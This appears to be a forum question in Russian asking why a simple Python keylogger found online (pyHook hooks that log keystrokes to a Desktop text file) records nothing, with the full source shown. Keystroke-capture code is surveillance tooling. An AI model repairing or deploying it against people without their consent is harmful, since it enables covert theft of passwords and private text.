Я хотел поэкспериментировать с простым кейлоггерным скриптом, который я нашел в Интернете. Код вроде работает. При нажатии первой клавиши создается текстовый файл журнала, но никакие символы не записываются. Я попытался добавить print (), чтобы проверить, почему это так, и ведь каждая нажатая клавиша 0 печатается в оболочке.
Вот код:
import pyHook, pythoncom, sys, logging
file_path = "C:\\Users\\user\\Desktop\\log.txt"
def KeyBoardEvent(event):
logging.basicConfig(filename = file_path, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(event.Ascii)
return True
hook = pyHook.HookManager()
hook.KeyDown = KeyBoardEvent
hook.HookKeyboard()
pythoncom.PumpMessages()
Какие-нибудь решения?